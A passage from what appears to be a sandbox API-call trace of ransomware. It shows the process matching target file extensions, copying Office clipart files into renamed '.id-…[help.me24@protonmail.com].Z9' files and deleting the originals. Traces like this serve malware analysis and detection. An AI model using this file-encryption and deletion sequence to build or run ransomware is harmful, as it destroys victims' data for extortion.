	[0082.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.660] lstrlenW (lpString=".rar") returned 4
	[0082.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.660] lstrlenW (lpString=".bz2") returned 4
	[0082.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.660] lstrlenW (lpString=".7z") returned 3
	[0082.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.660] lstrlenW (lpString=".dbf") returned 4
	[0082.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.660] lstrlenW (lpString=".1cd") returned 4
	[0082.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.660] lstrlenW (lpString=".jpg") returned 4
	[0082.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.660] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.660] lstrlenW (lpString="AN01060_.WMF") returned 12
	[0082.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.661] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7968) returned 1
	[0082.661] CloseHandle (hObject=0x394) returned 1
	[0082.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220
	[0082.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.661] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.661] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0082.661] GetLastError () returned 0x0
	[0082.661] ReadFile (in: hFile=0x394, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1f20, lpOverlapped=0x0) returned 1
	[0082.663] WriteFile (in: hFile=0x364, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1f30, lpOverlapped=0x0) returned 1
	[0082.664] ReadFile (in: hFile=0x394, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.664] WriteFile (in: hFile=0x364, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.664] SetEndOfFile (hFile=0x364) returned 1
	[0082.664] CloseHandle (hObject=0x364) returned 1
	[0082.665] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.665] SetEndOfFile (hFile=0x394) returned 1
	[0082.666] CloseHandle (hObject=0x394) returned 1
	[0082.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1
	[0082.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.667] lstrlenW (lpString=".doc") returned 4
	[0082.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.667] lstrlenW (lpString=".docx") returned 5
	[0082.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.667] lstrlenW (lpString=".pdf") returned 4
	[0082.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.667] lstrlenW (lpString=".xls") returned 4
	[0082.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.667] lstrlenW (lpString=".xlsx") returned 5
	[0082.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.667] lstrlenW (lpString=".ppt") returned 4
	[0082.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.667] lstrlenW (lpString=".zip") returned 4
	[0082.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.667] lstrlenW (lpString=".rar") returned 4
	[0082.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.667] lstrlenW (lpString=".bz2") returned 4
	[0082.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.667] lstrlenW (lpString=".7z") returned 3
	[0082.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.667] lstrlenW (lpString=".dbf") returned 4
	[0082.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.668] lstrlenW (lpString=".1cd") returned 4
	[0082.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.668] lstrlenW (lpString=".jpg") returned 4
	[0082.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.668] lstrlenW (lpString=".doc") returned 4
	[0082.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.668] lstrlenW (lpString=".docx") returned 5
	[0082.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.668] lstrlenW (lpString=".pdf") returned 4
	[0082.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.668] lstrlenW (lpString=".xls") returned 4
	[0082.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.668] lstrlenW (lpString=".xlsx") returned 5
	[0082.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.668] lstrlenW (lpString=".ppt") returned 4
	[0082.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.668] lstrlenW (lpString=".zip") returned 4
	[0082.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.668] lstrlenW (lpString=".rar") returned 4
	[0082.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.668] lstrlenW (lpString=".bz2") returned 4
	[0082.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.668] lstrlenW (lpString=".7z") returned 3
	[0082.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.668] lstrlenW (lpString=".dbf") returned 4
	[0082.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.668] lstrlenW (lpString=".1cd") returned 4
	[0082.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0082.669] lstrlenW (lpString=".jpg") returned 4
	[0082.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.669] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.669] lstrlenW (lpString="AN01084_.WMF") returned 12
	[0082.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.669] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1832) returned 1
	[0082.669] CloseHandle (hObject=0x394) returned 1
	[0082.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220
	[0082.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.669] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.669] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0082.670] GetLastError () returned 0x0
	[0082.670] ReadFile (in: hFile=0x394, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x728, lpOverlapped=0x0) returned 1
	[0082.671] WriteFile (in: hFile=0x364, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x730, lpOverlapped=0x0) returned 1
	[0082.672] ReadFile (in: hFile=0x394, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.672] WriteFile (in: hFile=0x364, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.673] SetEndOfFile (hFile=0x364) returned 1
	[0082.673] CloseHandle (hObject=0x364) returned 1
	[0082.674] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.674] SetEndOfFile (hFile=0x394) returned 1
	[0082.674] CloseHandle (hObject=0x394) returned 1
	[0082.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1
	[0082.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.675] lstrlenW (lpString=".doc") returned 4
	[0082.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.675] lstrlenW (lpString=".docx") returned 5
	[0082.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.675] lstrlenW (lpString=".pdf") returned 4
	[0082.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.675] lstrlenW (lpString=".xls") returned 4
	[0082.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.675] lstrlenW (lpString=".xlsx") returned 5
	[0082.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.675] lstrlenW (lpString=".ppt") returned 4
	[0082.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.675] lstrlenW (lpString=".zip") returned 4
	[0082.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.675] lstrlenW (lpString=".rar") returned 4
	[0082.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.676] lstrlenW (lpString=".bz2") returned 4
	[0082.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.676] lstrlenW (lpString=".7z") returned 3
	[0082.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.676] lstrlenW (lpString=".dbf") returned 4
	[0082.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.676] lstrlenW (lpString=".1cd") returned 4
	[0082.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.676] lstrlenW (lpString=".jpg") returned 4
	[0082.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.676] lstrlenW (lpString=".doc") returned 4
	[0082.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.676] lstrlenW (lpString=".docx") returned 5
	[0082.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.676] lstrlenW (lpString=".pdf") returned 4
	[0082.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.676] lstrlenW (lpString=".xls") returned 4
	[0082.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.676] lstrlenW (lpString=".xlsx") returned 5
	[0082.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.676] lstrlenW (lpString=".ppt") returned 4
	[0082.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.676] lstrlenW (lpString=".zip") returned 4
	[0082.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.676] lstrlenW (lpString=".rar") returned 4
	[0082.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.676] lstrlenW (lpString=".bz2") returned 4
	[0082.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.677] lstrlenW (lpString=".7z") returned 3
	[0082.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.677] lstrlenW (lpString=".dbf") returned 4
	[0082.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.677] lstrlenW (lpString=".1cd") returned 4
	[0082.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0082.677] lstrlenW (lpString=".jpg") returned 4
	[0082.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.677] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.677] lstrlenW (lpString="AN01173_.WMF") returned 12
	[0082.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0082.795] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=26332) returned 1
	[0082.795] CloseHandle (hObject=0x2bc) returned 1
	[0082.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220
	[0082.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0082.796] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.796] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.803] GetLastError () returned 0x0
	[0082.804] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x66dc, lpOverlapped=0x0) returned 1
	[0082.837] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x66e0, lpOverlapped=0x0) returned 1
	[0082.838] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.838] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.839] SetEndOfFile (hFile=0x35c) returned 1
	[0082.839] CloseHandle (hObject=0x35c) returned 1
	[0082.840] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.840] SetEndOfFile (hFile=0x2bc) returned 1
	[0082.841] CloseHandle (hObject=0x2bc) returned 1
	[0082.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1
	[0082.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.842] lstrlenW (lpString=".doc") returned 4
	[0082.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.842] lstrlenW (lpString=".docx") returned 5
	[0082.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.842] lstrlenW (lpString=".pdf") returned 4
	[0082.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.842] lstrlenW (lpString=".xls") returned 4
	[0082.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.842] lstrlenW (lpString=".xlsx") returned 5
	[0082.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.842] lstrlenW (lpString=".ppt") returned 4
	[0082.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.842] lstrlenW (lpString=".zip") returned 4
	[0082.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.842] lstrlenW (lpString=".rar") returned 4
	[0082.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.842] lstrlenW (lpString=".bz2") returned 4
	[0082.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.842] lstrlenW (lpString=".7z") returned 3
	[0082.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.842] lstrlenW (lpString=".dbf") returned 4
	[0082.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.842] lstrlenW (lpString=".1cd") returned 4
	[0082.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.843] lstrlenW (lpString=".jpg") returned 4
	[0082.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0082.843] lstrlenW (lpString=".doc") returned 4
	[0082.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.843] lstrlenW (lpString=".docx") returned 5
	[0082.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.843] lstrlenW (lpString=".pdf") returned 4
	[0082.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.843] lstrlenW (lpString=".xls") returned 4
	[0082.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.843] lstrlenW (lpString=".xlsx") returned 5
	[0082.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.843] lstrlenW (lpString=".ppt") returned 4
	[0082.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
